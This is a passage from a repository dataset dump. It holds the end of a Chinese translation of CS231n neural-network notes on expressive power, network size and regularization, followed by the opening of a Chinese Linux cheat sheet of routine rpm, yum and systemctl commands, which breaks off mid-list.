ๆ’ญไธ€่ˆฌๅฐฑๆ˜ฏๅ…ˆ่ฟ›่กŒไธ€ไธช็Ÿฉ้˜ตไน˜ๆณ•๏ผŒ็„ถๅŽๅŠ ไธŠๅ็ฝฎๅนถ่ฟ็”จๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚\n\n### ่กจ่พพ่ƒฝๅŠ›\n\n็†่งฃๅ…ทๆœ‰ๅ…จ่ฟžๆŽฅๅฑ‚็š„็ฅž็ป็ฝ‘็ปœ็š„ไธ€ไธชๆ–นๅผๆ˜ฏ๏ผšๅฏไปฅ่ฎคไธบๅฎƒไปฌๅฎšไน‰ไบ†ไธ€ไธช็”ฑไธ€็ณปๅˆ—ๅ‡ฝๆ•ฐ็ป„ๆˆ็š„ๅ‡ฝๆ•ฐๆ—๏ผŒ็ฝ‘็ปœ็š„ๆƒ้‡ๅฐฑๆ˜ฏๆฏไธชๅ‡ฝๆ•ฐ็š„ๅ‚ๆ•ฐใ€‚ๅฆ‚ๆญคไบง็”Ÿ็š„้—ฎ้ข˜ๆ˜ฏ๏ผš่ฏฅๅ‡ฝๆ•ฐๆ—็š„่กจ่พพ่ƒฝๅŠ›ๅฆ‚ไฝ•๏ผŸๅญ˜ๅœจไธ่ƒฝ่ขซ็ฅž็ป็ฝ‘็ปœ่กจ่พพ็š„ๅ‡ฝๆ•ฐๅ—๏ผŸ\n\n็Žฐๅœจ็œ‹ๆฅ๏ผŒๆ‹ฅๆœ‰่‡ณๅฐ‘ไธ€ไธช้šๅฑ‚็š„็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ€ไธช*้€š็”จ็š„่ฟ‘ไผผๅ™จ*ใ€‚ๅœจ็ ”็ฉถ๏ผˆไพ‹ๅฆ‚1989ๅนด็š„่ฎบๆ–‡[Approximation by Superpositions of Sigmoidal Function](http://link.zhihu.com/?target=http%3A//www.dartmouth.edu/%257Egvc/Cybenko_MCSS.pdf)๏ผŒๆˆ–่€…[Michael Nielsen](http://link.zhihu.com/?target=http%3A//neuralnetworksanddeeplearning.com/chap4.html)็š„่ฟ™ไธช็›ด่ง‚่งฃ้‡Šใ€‚๏ผ‰ไธญๅทฒ็ป่ฏๆ˜Ž๏ผŒ็ป™ๅ‡บไปปๆ„่ฟž็ปญๅ‡ฝๆ•ฐ$f(x)$ๅ’Œไปปๆ„$\\epsilon >0$๏ผŒๅ‡ๅญ˜ๅœจไธ€ไธช่‡ณๅฐ‘ๅซ1ไธช้šๅฑ‚็š„็ฅž็ป็ฝ‘็ปœ$g(x)$๏ผˆๅนถไธ”็ฝ‘็ปœไธญๆœ‰ๅˆ็†้€‰ๆ‹ฉ็š„้ž็บฟๆ€งๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๆฏ”ๅฆ‚sigmoid๏ผ‰๏ผŒๅฏนไบŽ$\\forall x$๏ผŒไฝฟๅพ—$|f(x)-g(x)|<\\epsilon$ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒ<u>็ฅž็ป็ฝ‘็ปœๅฏไปฅ่ฟ‘ไผผไปปไฝ•่ฟž็ปญๅ‡ฝๆ•ฐ</u>ใ€‚\n\nๆ—ข็„ถไธ€ไธช้šๅฑ‚ๅฐฑ่ƒฝ่ฟ‘ไผผไปปไฝ•ๅ‡ฝๆ•ฐ๏ผŒ้‚ฃไธบไป€ไนˆ่ฟ˜่ฆๆž„ๅปบๆ›ดๅคšๅฑ‚ๆฅๅฐ†็ฝ‘็ปœๅšๅพ—ๆ›ดๆทฑ๏ผŸ็ญ”ๆกˆๆ˜ฏ๏ผš่™ฝ็„ถไธ€ไธช2ๅฑ‚็ฝ‘็ปœๅœจๆ•ฐๅญฆ็†่ฎบไธŠ่ƒฝๅฎŒ็พŽๅœฐ่ฟ‘ไผผๆ‰€ๆœ‰่ฟž็ปญๅ‡ฝๆ•ฐ๏ผŒไฝ†ๅœจๅฎž้™…ๆ“ไฝœไธญๆ•ˆๆžœ็›ธๅฏน่พƒๅทฎใ€‚ๅœจไธ€ไธช็ปดๅบฆไธŠ๏ผŒ่™ฝ็„ถไปฅ$a,b,c$ไธบๅ‚ๆ•ฐๅ‘้‡โ€œๆŒ‡็คบๅ—ไน‹ๅ’Œโ€ๅ‡ฝๆ•ฐ$g(x)=\\sum_ic_i1(a_i<x<b_i)$ไนŸๆ˜ฏ้€š็”จ็š„่ฟ‘ไผผๅ™จ๏ผŒไฝ†ๆ˜ฏ่ฐไนŸไธไผšๅปบ่ฎฎๅœจๆœบๅ™จๅญฆไน ไธญไฝฟ็”จ่ฟ™ไธชๅ‡ฝๆ•ฐๅ…ฌๅผใ€‚<u>็ฅž็ป็ฝ‘็ปœๅœจๅฎž่ทตไธญ้žๅธธๅฅฝ็”จ๏ผŒๆ˜ฏๅ› ไธบๅฎƒไปฌ่กจ่พพๅ‡บ็š„ๅ‡ฝๆ•ฐไธไป…ๅนณๆป‘๏ผŒ่€Œไธ”ๅฏนไบŽๆ•ฐๆฎ็š„็ปŸ่ฎก็‰นๆ€งๆœ‰ๅพˆๅฅฝ็š„ๆ‹Ÿๅˆ</u>ใ€‚ๅŒๆ—ถ๏ผŒ<u>็ฝ‘็ปœ้€š่ฟ‡ๆœ€ไผ˜ๅŒ–็ฎ—ๆณ•๏ผˆไพ‹ๅฆ‚ๆขฏๅบฆไธ‹้™๏ผ‰่ƒฝๆฏ”่พƒๅฎนๆ˜“ๅœฐๅญฆไน ๅˆฐ่ฟ™ไธชๅ‡ฝๆ•ฐ</u>ใ€‚็ฑปไผผ็š„๏ผŒ่™ฝ็„ถๅœจ็†่ฎบไธŠๆทฑๅฑ‚็ฝ‘็ปœ๏ผˆไฝฟ็”จไบ†ๅคšไธช้šๅฑ‚๏ผ‰ๅ’Œๅ•ๅฑ‚็ฝ‘็ปœ็š„่กจ่พพ่ƒฝๅŠ›ๆ˜ฏไธ€ๆ ท็š„๏ผŒไฝ†ๆ˜ฏๅฐฑๅฎž่ทต็ป้ชŒ่€Œ่จ€๏ผŒๆทฑๅบฆ็ฝ‘็ปœๆ•ˆๆžœๆฏ”ๅ•ๅฑ‚็ฝ‘็ปœๅฅฝใ€‚\n\nๅฆๅค–๏ผŒๅœจๅฎž่ทตไธญ3ๅฑ‚็š„็ฅž็ป็ฝ‘็ปœไผšๆฏ”2ๅฑ‚็š„่กจ็Žฐๅฅฝ๏ผŒ็„ถ่€Œ็ปง็ปญๅŠ ๆทฑ๏ผˆๅšๅˆฐ4๏ผŒ5๏ผŒ6ๅฑ‚๏ผ‰ๅพˆๅฐ‘ๆœ‰ๅคชๅคงๅธฎๅŠฉใ€‚ๅท็งฏ็ฅž็ป็ฝ‘็ปœ็š„ๆƒ…ๅ†ตๅดไธๅŒ๏ผŒ<u>ๅœจๅท็งฏ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒๅฏนไบŽไธ€ไธช่‰ฏๅฅฝ็š„่ฏ†ๅˆซ็ณป็ปŸๆฅ่ฏด๏ผŒๆทฑๅบฆๆ˜ฏไธ€ไธชๆž็ซฏ้‡่ฆ็š„ๅ› ็ด </u>๏ผˆๆฏ”ๅฆ‚ๆ•ฐๅ(ไปฅ10ไธบ้‡็บง)ไธชๅฏๅญฆไน ็š„ๅฑ‚๏ผ‰ใ€‚ๅฏนไบŽ่ฏฅ็Žฐ่ฑก็š„ไธ€็ง่งฃ้‡Š่ง‚็‚นๆ˜ฏ๏ผšๅ› ไธบ<u>ๅ›พๅƒๆ‹ฅๆœ‰ๅฑ‚ๆฌกๅŒ–็ป“ๆž„</u>๏ผˆๆฏ”ๅฆ‚่„ธๆ˜ฏ็”ฑ็œผ็›็ญ‰็ป„ๆˆ๏ผŒ็œผ็›ๅˆๆ˜ฏ็”ฑ่พน็ผ˜็ป„ๆˆ๏ผ‰๏ผŒๆ‰€ไปฅๅคšๅฑ‚ๅค„็†ๅฏนไบŽ่ฟ™็งๆ•ฐๆฎๅฐฑๆœ‰็›ด่ง‚ๆ„ไน‰ใ€‚\n\nๅ…จ้ข็š„็ ”็ฉถๅ†…ๅฎน่ฟ˜ๅพˆๅคš๏ผŒ่ฟ‘ๆœŸ็ ”็ฉถ็š„่ฟ›ๅฑ•ไนŸๅพˆๅคšใ€‚ๅฆ‚ๆžœไฝ ๅฏนๆญคๆ„Ÿๅ…ด่ถฃ๏ผŒๆˆ‘ไนˆๆŽจ่ไฝ ้˜…่ฏปไธ‹้ขๆ–‡็Œฎ๏ผš\n\n- [Deep Learning](http://link.zhihu.com/?target=http%3A//www.deeplearningbook.org/)็š„[Chapter6.4](http://link.zhihu.com/?target=http%3A//www.deeplearningbook.org/contents/mlp.html)๏ผŒไฝœ่€…ๆ˜ฏBengio็ญ‰ใ€‚\n- [Do Deep Nets Really Need to be Deep?](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1312.6184)\n- [FitNets: Hints for Thin Deep Nets](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1412.6550)\n\n### ่ฎพ็ฝฎๅฑ‚็š„ๆ•ฐ้‡ๅ’Œๅฐบๅฏธ\n\nๅœจ้ขๅฏนไธ€ไธชๅ…ทไฝ“้—ฎ้ข˜็š„ๆ—ถๅ€™่ฏฅๅฆ‚ไฝ•็กฎๅฎš็ฝ‘็ปœ็ป“ๆž„ๅ‘ข๏ผŸๅˆฐๅบ•ๆ˜ฏไธ็”จ้šๅฑ‚ๅ‘ข๏ผŸ่ฟ˜ๆ˜ฏไธ€ไธช้šๅฑ‚๏ผŸไธคไธช้šๅฑ‚ๆˆ–ๆ›ดๅคš๏ผŸๆฏไธชๅฑ‚็š„ๅฐบๅฏธ่ฏฅๅคšๅคง๏ผŸ\n\n้ฆ–ๅ…ˆ๏ผŒ่ฆ็Ÿฅ้“ๅฝ“ๆˆ‘ไปฌๅขžๅŠ ๅฑ‚็š„ๆ•ฐ้‡ๅ’Œๅฐบๅฏธๆ—ถ๏ผŒ็ฝ‘็ปœ็š„ๅฎน้‡ไธŠๅ‡ไบ†ใ€‚ๅณ็ฅž็ปๅ…ƒไปฌๅฏไปฅๅˆไฝœ่กจ่พพ่ฎธๅคšๅคๆ‚ๅ‡ฝๆ•ฐ๏ผŒๆ‰€ไปฅ่กจ่พพๅ‡ฝๆ•ฐ็š„็ฉบ้—ดๅขžๅŠ ใ€‚ไพ‹ๅฆ‚๏ผŒๅฆ‚ๆžœๆœ‰ไธ€ไธชๅœจไบŒ็ปดๅนณ้ขไธŠ็š„ไบŒๅˆ†็ฑป้—ฎ้ข˜ใ€‚ๆˆ‘ไปฌๅฏไปฅ่ฎญ็ปƒ3ไธชไธๅŒ็š„็ฅž็ป็ฝ‘็ปœ๏ผŒๆฏไธช็ฝ‘็ปœ้ƒฝๅชๆœ‰ไธ€ไธช้šๅฑ‚๏ผŒไฝ†ๆ˜ฏๆฏๅฑ‚็š„็ฅž็ปๅ…ƒๆ•ฐ็›ฎไธๅŒ๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c94f6549a.png)\n\nๆ›ดๅคง็š„็ฅž็ป็ฝ‘็ปœๅฏไปฅ่กจ่พพๆ›ดๅคๆ‚็š„ๅ‡ฝๆ•ฐใ€‚ๆ•ฐๆฎๆ˜ฏ็”จไธๅŒ้ขœ่‰ฒ็š„ๅœ†็‚น่กจ็คบไป–ไปฌ็š„ไธๅŒ็ฑปๅˆซ๏ผŒๅ†ณ็ญ–่พน็•Œๆ˜ฏ็”ฑ่ฎญ็ปƒ่ฟ‡็š„็ฅž็ป็ฝ‘็ปœๅšๅ‡บ็š„ใ€‚ไฝ ๅฏไปฅๅœจ[ConvNetsJS demo](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/convnetjs/demo/classify2d.html)ไธŠ็ปƒ็ปƒๆ‰‹ใ€‚\n\n---\n\nๅœจไธŠๅ›พไธญ๏ผŒๅฏไปฅ็œ‹่งๆœ‰ๆ›ดๅคš็ฅž็ปๅ…ƒ็š„็ฅž็ป็ฝ‘็ปœๅฏไปฅ่กจ่พพๆ›ดๅคๆ‚็š„ๅ‡ฝๆ•ฐใ€‚็„ถ่€Œ่ฟ™ๆ—ขๆ˜ฏไผ˜ๅŠฟไนŸๆ˜ฏไธ่ถณ๏ผŒไผ˜ๅŠฟๆ˜ฏๅฏไปฅๅˆ†็ฑปๆ›ดๅคๆ‚็š„ๆ•ฐๆฎ๏ผŒไธ่ถณๆ˜ฏๅฏ่ƒฝ้€ ๆˆๅฏน่ฎญ็ปƒๆ•ฐๆฎ็š„่ฟ‡ๆ‹Ÿๅˆใ€‚**่ฟ‡ๆ‹Ÿๅˆ๏ผˆOverfitting๏ผ‰**ๆ˜ฏ<u>็ฝ‘็ปœๅฏนๆ•ฐๆฎไธญ็š„ๅ™ชๅฃฐๆœ‰ๅพˆๅผบ็š„ๆ‹Ÿๅˆ่ƒฝๅŠ›๏ผŒ่€Œๆฒกๆœ‰้‡่ง†ๆ•ฐๆฎ้—ด๏ผˆๅ‡่ฎพ๏ผ‰็š„ๆฝœๅœจๅŸบๆœฌๅ…ณ็ณปใ€‚</u>ไธพไพ‹ๆฅ่ฏด๏ผŒๆœ‰20ไธช็ฅž็ปๅ…ƒ้šๅฑ‚็š„็ฝ‘็ปœๆ‹Ÿๅˆไบ†ๆ‰€ๆœ‰็š„่ฎญ็ปƒๆ•ฐๆฎ๏ผŒไฝ†ๆ˜ฏๅ…ถไปฃไปทๆ˜ฏๆŠŠๅ†ณ็ญ–่พน็•Œๅ˜ๆˆไบ†่ฎธๅคšไธ็›ธ่ฟž็š„็บข็ปฟๅŒบๅŸŸใ€‚่€Œๆœ‰3ไธช็ฅž็ปๅ…ƒ็š„ๆจกๅž‹็š„่กจ่พพ่ƒฝๅŠ›ๅช่ƒฝ็”จๆฏ”่พƒๅฎฝๆณ›็š„ๆ–นๅผๅŽปๅˆ†็ฑปๆ•ฐๆฎใ€‚ๅฎƒๅฐ†ๆ•ฐๆฎ็œ‹ๅšๆ˜ฏไธคไธชๅคงๅ—๏ผŒๅนถๆŠŠไธชๅˆซๅœจ็ปฟ่‰ฒๅŒบๅŸŸๅ†…็š„็บข่‰ฒ็‚น็œ‹ๅšๅ™ชๅฃฐใ€‚ๅœจๅฎž้™…ไธญ๏ผŒ่ฟ™ๆ ทๅฏไปฅๅœจๆต‹่ฏ•ๆ•ฐๆฎไธญ่Žทๅพ—ๆ›ดๅฅฝ็š„**ๆณ›ๅŒ–๏ผˆgeneralization๏ผ‰**่ƒฝๅŠ›ใ€‚\n\nๅŸบไบŽไธŠ้ข็š„่ฎจ่ฎบ๏ผŒ็œ‹่ตทๆฅๅฆ‚ๆžœๆ•ฐๆฎไธๆ˜ฏ่ถณๅคŸๅคๆ‚๏ผŒๅˆ™ไผผไนŽๅฐไธ€็‚น็š„็ฝ‘็ปœๆ›ดๅฅฝ๏ผŒๅ› ไธบๅฏไปฅ้˜ฒๆญข่ฟ‡ๆ‹Ÿๅˆใ€‚็„ถ่€Œๅนถ้žๅฆ‚ๆญค๏ผŒ<u>้˜ฒๆญข็ฅž็ป็ฝ‘็ปœ็š„่ฟ‡ๆ‹Ÿๅˆๆœ‰ๅพˆๅคšๆ–นๆณ•</u>๏ผˆL2ๆญฃๅˆ™ๅŒ–๏ผŒdropoutๅ’Œ่พ“ๅ…ฅๅ™ช้Ÿณ็ญ‰๏ผ‰๏ผŒๅŽ้ขไผš่ฏฆ็ป†่ฎจ่ฎบใ€‚ๅœจๅฎž่ทตไธญ๏ผŒ<u>ไฝฟ็”จ่ฟ™ไบ›ๆ–นๆณ•ๆฅๆŽงๅˆถ่ฟ‡ๆ‹Ÿๅˆๆฏ”ๅ‡ๅฐ‘็ฝ‘็ปœ็ฅž็ปๅ…ƒๆ•ฐ็›ฎ่ฆๅฅฝๅพ—ๅคš</u>ใ€‚\n\n<u>ไธ่ฆๅ‡ๅฐ‘็ฝ‘็ปœ็ฅž็ปๅ…ƒๆ•ฐ็›ฎ็š„ไธป่ฆๅŽŸๅ› ๅœจไบŽๅฐ็ฝ‘็ปœๆ›ด้šพไฝฟ็”จๆขฏๅบฆไธ‹้™็ญ‰ๅฑ€้ƒจๆ–นๆณ•ๆฅ่ฟ›่กŒ่ฎญ็ปƒ</u>๏ผš่™ฝ็„ถๅฐๅž‹็ฝ‘็ปœ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅฑ€้ƒจๆžๅฐๅ€ผๆ›ดๅฐ‘๏ผŒไนŸๆฏ”่พƒๅฎนๆ˜“ๆ”ถๆ•›ๅˆฐ่ฟ™ไบ›ๅฑ€้ƒจๆžๅฐๅ€ผ๏ผŒไฝ†ๆ˜ฏ่ฟ™ไบ›ๆœ€ๅฐๅ€ผไธ€่ˆฌ้ƒฝๅพˆๅทฎ๏ผŒๆŸๅคฑๅ€ผๅพˆ้ซ˜ใ€‚็›ธๅ๏ผŒๅคง็ฝ‘็ปœๆ‹ฅๆœ‰ๆ›ดๅคš็š„ๅฑ€้ƒจๆžๅฐๅ€ผ๏ผŒไฝ†ๅฐฑๅฎž้™…ๆŸๅคฑๅ€ผๆฅ็œ‹๏ผŒ่ฟ™ไบ›ๅฑ€้ƒจๆžๅฐๅ€ผ่กจ็Žฐๆ›ดๅฅฝ๏ผŒๆŸๅคฑๆ›ดๅฐใ€‚ๅ› ไธบ<u>็ฅž็ป็ฝ‘็ปœๆ˜ฏ้žๅ‡ธ็š„</u>๏ผŒๅฐฑๅพˆ้šพไปŽๆ•ฐๅญฆไธŠ็ ”็ฉถ่ฟ™ไบ›็‰นๆ€งใ€‚ๅณไพฟๅฆ‚ๆญค๏ผŒ่ฟ˜ๆ˜ฏๆœ‰ไธ€ไบ›ๆ–‡็ซ ๅฐ่ฏ•ๅฏน่ฟ™ไบ›็›ฎๆ ‡ๅ‡ฝๆ•ฐ่ฟ›่กŒ็†่งฃ๏ผŒไพ‹ๅฆ‚[The Loss Surfaces of Multilayer Networks](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1412.0233)่ฟ™็ฏ‡่ฎบๆ–‡ใ€‚ๅœจๅฎž้™…ไธญ๏ผŒไฝ ๅฐ†ๅ‘็Žฐๅฆ‚ๆžœ่ฎญ็ปƒ็š„ๆ˜ฏไธ€ไธชๅฐ็ฝ‘็ปœ๏ผŒ้‚ฃไนˆๆœ€็ปˆ็š„ๆŸๅคฑๅ€ผๅฐ†ๅฑ•็Žฐๅ‡บๅคšๅ˜ๆ€ง๏ผšๆŸไบ›ๆƒ…ๅ†ตไธ‹่ฟๆฐ”ๅฅฝไผšๆ”ถๆ•›ๅˆฐไธ€ไธชๅฅฝ็š„ๅœฐๆ–น๏ผŒๆŸไบ›ๆƒ…ๅ†ตไธ‹ๅฐฑๆ”ถๆ•›ๅˆฐไธ€ไธชไธๅฅฝ็š„ๆžๅ€ผใ€‚ไปŽๅฆไธ€ๆ–น้ขๆฅ่ฏด๏ผŒๅฆ‚ๆžœไฝ ่ฎญ็ปƒไธ€ไธชๅคง็š„็ฝ‘็ปœ๏ผŒไฝ ๅฐ†ๅ‘็Žฐ่ฎธๅคšไธๅŒ็š„่งฃๅ†ณๆ–นๆณ•๏ผŒไฝ†ๆ˜ฏๆœ€็ปˆๆŸๅคฑๅ€ผ็š„ๅทฎๅผ‚ๅฐ†ไผšๅฐๅพˆๅคšใ€‚่ฟ™ๅฐฑๆ˜ฏ่ฏด๏ผŒๆ‰€ๆœ‰็š„่งฃๅ†ณๅŠžๆณ•้ƒฝๅทฎไธๅคš๏ผŒ่€Œไธ”ๅฏนไบŽ้šๆœบๅˆๅง‹ๅŒ–ๅ‚ๆ•ฐๅฅฝๅ็š„ไพ่ต–ไนŸไผšๅฐๅพˆๅคšใ€‚\n\n้‡็”ณไธ€ไธ‹๏ผŒๆญฃๅˆ™ๅŒ–ๅผบๅบฆๆ˜ฏๆŽงๅˆถ็ฅž็ป็ฝ‘็ปœ่ฟ‡ๆ‹Ÿๅˆ็š„ๅฅฝๆ–นๆณ•ใ€‚็œ‹ไธ‹ๅ›พ็ป“ๆžœ๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c968e6bc7.png)\n\nไธๅŒๆญฃๅˆ™ๅŒ–ๅผบๅบฆ็š„ๆ•ˆๆžœ๏ผšๆฏไธช็ฅž็ป็ฝ‘็ปœ้ƒฝๆœ‰20ไธช้šๅฑ‚็ฅž็ปๅ…ƒ๏ผŒไฝ†ๆ˜ฏ้š็€ๆญฃๅˆ™ๅŒ–ๅผบๅบฆๅขžๅŠ ๏ผŒๅฎƒ็š„ๅ†ณ็ญ–่พน็•Œๅ˜ๅพ—ๆ›ดๅŠ ๅนณๆป‘ใ€‚ไฝ ๅฏไปฅๅœจ[ConvNetsJS demo](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/convnetjs/demo/classify2d.html)ไธŠ็ปƒ็ปƒๆ‰‹ใ€‚\n\n---\n\n้œ€่ฆ่ฎฐไฝ็š„ๆ˜ฏ๏ผš<u>ไธๅบ”่ฏฅๅ› ไธบๅฎณๆ€•ๅ‡บ็Žฐ่ฟ‡ๆ‹Ÿๅˆ่€Œไฝฟ็”จๅฐ็ฝ‘็ปœใ€‚็›ธๅ๏ผŒๅบ”่ฏฅ่ฟ›ๅฐฝๅฏ่ƒฝไฝฟ็”จๅคง็ฝ‘็ปœ๏ผŒ็„ถๅŽไฝฟ็”จๆญฃๅˆ™ๅŒ–ๆŠ€ๅทงๆฅๆŽงๅˆถ่ฟ‡ๆ‹Ÿๅˆใ€‚</u>\n\n## ๅฐ็ป“\n\nๅฐ็ป“ๅฆ‚ไธ‹๏ผš\n\n- ไป‹็ปไบ†็”Ÿ็‰ฉ็ฅž็ปๅ…ƒ็š„็ฒ—็•ฅๆจกๅž‹๏ผ›\n\n- ่ฎจ่ฎบไบ†ๅ‡ ็งไธๅŒ็ฑปๅž‹็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๅ…ถไธญReLUๆ˜ฏๆœ€ไฝณๆŽจ่๏ผ›\n\n- ไป‹็ปไบ†**็ฅž็ป็ฝ‘็ปœ**๏ผŒ็ฅž็ปๅ…ƒ้€š่ฟ‡**ๅ…จ่ฟžๆŽฅๅฑ‚**่ฟžๆŽฅ๏ผŒๅฑ‚้—ด็ฅž็ปๅ…ƒไธคไธค็›ธ่ฟž๏ผŒไฝ†ๆ˜ฏๅฑ‚ๅ†…็ฅž็ปๅ…ƒไธ่ฟžๆŽฅ๏ผ›\n\n- ็†่งฃไบ†ๅˆ†ๅฑ‚็š„็ป“ๆž„่ƒฝๅคŸ่ฎฉ็ฅž็ป็ฝ‘็ปœ้ซ˜ๆ•ˆๅœฐ่ฟ›่กŒ็Ÿฉ้˜ตไน˜ๆณ•ๅ’Œๆฟ€ๆดปๅ‡ฝๆ•ฐ่ฟ็ฎ—๏ผ›\n\n- ็†่งฃไบ†็ฅž็ป็ฝ‘็ปœๆ˜ฏไธ€ไธช**้€š็”จๅ‡ฝๆ•ฐ่ฟ‘ไผผๅ™จ**๏ผŒไฝ†ๆ˜ฏ่ฏฅๆ€ง่ดจไธŽๅ…ถๅนฟๆณ›ไฝฟ็”จๆ— ๅคชๅคงๅ…ณ็ณปใ€‚ไน‹ๆ‰€ไปฅไฝฟ็”จ็ฅž็ป็ฝ‘็ปœ๏ผŒๆ˜ฏๅ› ไธบๅฎƒไปฌๅฏนไบŽๅฎž้™…้—ฎ้ข˜ไธญ็š„ๅ‡ฝๆ•ฐ็š„ๅ…ฌๅผ่ƒฝๅคŸๆŸ็ง็จ‹ๅบฆไธŠๅšๅ‡บโ€œๆญฃ็กฎโ€ๅ‡่ฎพใ€‚\n\n- ่ฎจ่ฎบไบ†ๆ›ดๅคง็ฝ‘็ปœๆ€ปๆ˜ฏๆ›ดๅฅฝ็š„่ฟ™ไธ€ไบ‹ๅฎžใ€‚็„ถ่€Œๆ›ดๅคงๅฎน้‡็š„ๆจกๅž‹ไธ€ๅฎš่ฆๅ’Œๆ›ดๅผบ็š„ๆญฃๅˆ™ๅŒ–๏ผˆๆฏ”ๅฆ‚ๆ›ด้ซ˜็š„ๆƒ้‡่กฐๅ‡๏ผ‰้…ๅˆ๏ผŒๅฆๅˆ™ๅฎƒไปฌๅฐฑไผš่ฟ‡ๆ‹Ÿๅˆใ€‚ๅœจๅŽ็ปญ็ซ ่Š‚ไธญๆˆ‘ไปฌ่ฎฒๅญฆไน ๆ›ดๅคšๆญฃๅˆ™ๅŒ–็š„ๆ–นๆณ•๏ผŒๅฐคๅ…ถๆ˜ฏdropoutใ€‚\n\n # ๅ‚่€ƒ่ต„ๆ–™\n\n- ไฝฟ็”จTheano็š„[deeplearning.net tutorial](http://link.zhihu.com/?target=http%3A//www.deeplearning.net/tutorial/mlp.html)\n\n- [ConvNetJS](http://link.zhihu.com/?target=http%3A//www.deeplearning.net/tutorial/mlp.html)\n\n- [Michael Nielsen's tutorials](http://link.zhihu.com/?target=http%3A//neuralnetworksanddeeplearning.com/chap1.html)\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./CS231n_Neural_Nets_notes_1.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.41562768816947937, "alphanum_fraction": 0.4284656345844269, "avg_line_length": 18.125295639038086, "blob_id": "ab50de6fa46850fca8e31cfd68e2f6f0868c8b9b", "content_id": "dbcd1de303a856468cb1807b9a64594399611cbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 11955, "license_type": "no_license", "max_line_length": 100, "num_lines": 423, "path": "/blog/posts/Linux.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "\n\n# Linux ๅฐฑ่ฏฅ่ฟ™ไนˆๅญฆ | ๅฐๆŠ„\n\nWebsite: https://www.linuxprobe.com/\n\n![](https://www.linuxprobe.com/imgs/cover.png)\n\n\n[TOC]\n\n\n## Linux ็ณป็ปŸ\n\n### RPM๏ผˆ็บขๅธฝ่ฝฏไปถๅŒ…็ฎก็†ๅ™จ๏ผ‰\n\n```shell\nrpm -ivh filename.rmp\t# ๅฎ‰่ฃ…่ฝฏไปถ\nrpm -Uvh filename.rmp\t# ๅ‡็บง่ฝฏไปถ\nrpm -e filename.rpm\t\t# ๅธ่ฝฝ่ฝฏไปถ\nrpm -qpi filename.rpm\t# ๆŸฅ่ฏข่ฝฏไปถๆ่ฟฐไฟกๆฏ\nrpm -qpl filename.rpm\t# ๅˆ—ๅ‡บ่ฝฏไปถๆ–‡ไปถไฟกๆฏ\nrpm -qf filename\t\t# ๆŸฅ่ฏขๆ–‡ไปถๅฑžไบŽๅ“ชไธช RPM \n```\n\n\n\n### Yum ่ฝฏไปถไป“ๅบ“\n\n```shell\nyum repolist all\t\t\t# ๅˆ—ๅ‡บๆ‰€ๆœ‰ไป“ๅบ“\nyum list all\t\t\t\t# ๅˆ—ๅ‡บไป“ๅบ“ไธญๆ‰€ๆœ‰่ฝฏไปถๅŒ…\nyum info \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ๆŸฅ็œ‹่ฝฏไปถๅŒ…ไฟกๆฏ\nyum install \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ๅฎ‰่ฃ…่ฝฏไปถๅŒ…\nyum reinstall \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t# ้‡ๆ–ฐๅฎ‰่ฃ…่ฝฏไปถๅŒ…\nyum update \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ๅ‡็บง่ฝฏไปถๅŒ…\nyum remove \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ็งป้™ค่ฝฏไปถๅŒ…\nyum clean all\t\t\t\t# ๆธ…ๆฅšๆ‰€ๆœ‰ไป“ๅบ“็ผ“ๅญ˜\nyum check-update\t\t\t# ๆฃ€ๆŸฅๅฏๆ›ดๆ–ฐ็š„่ฝฏไปถๅŒ…\nyum grouplist\t\t\t\t# ๆŸฅ็œ‹็ณป็ปŸไธญๅทฒ็ปๅฎ‰่ฃ…็š„่ฝฏไปถๅŒ…็ป„\nyum groupinstall \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t# ๅฎ‰่ฃ…ๆŒ‡ๅฎš็š„่ฝฏไปถๅŒ…็ป„\nyum groupremove \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ็งป้™คๆŒ‡ๅฎš็š„่ฝฏไปถๅŒ…็ป„\nyum groupinfo \"่ฝฏไปถๅŒ…ๅ็งฐ\"\t\t# ๆŸฅ่ฏขๆŒ‡ๅฎš็š„่ฝฏไปถๅŒ…็ป„ไฟกๆฏ\n```\n\n\n\n### systemd ๅˆๅง‹ๅŒ–่ฟ›็จ‹\n\n```shell\nsystemctl start foo.service\t\t# ๅฏๅŠจๆœๅŠก\nsystemctl restart foo.service\t# ้‡ๅฏๆœๅŠก\nsystemctl stop foo.service\t\t# ๅœๆญขๆœๅŠก\nsystemctl reload foo.service\t# ้‡ๆ–ฐๅŠ 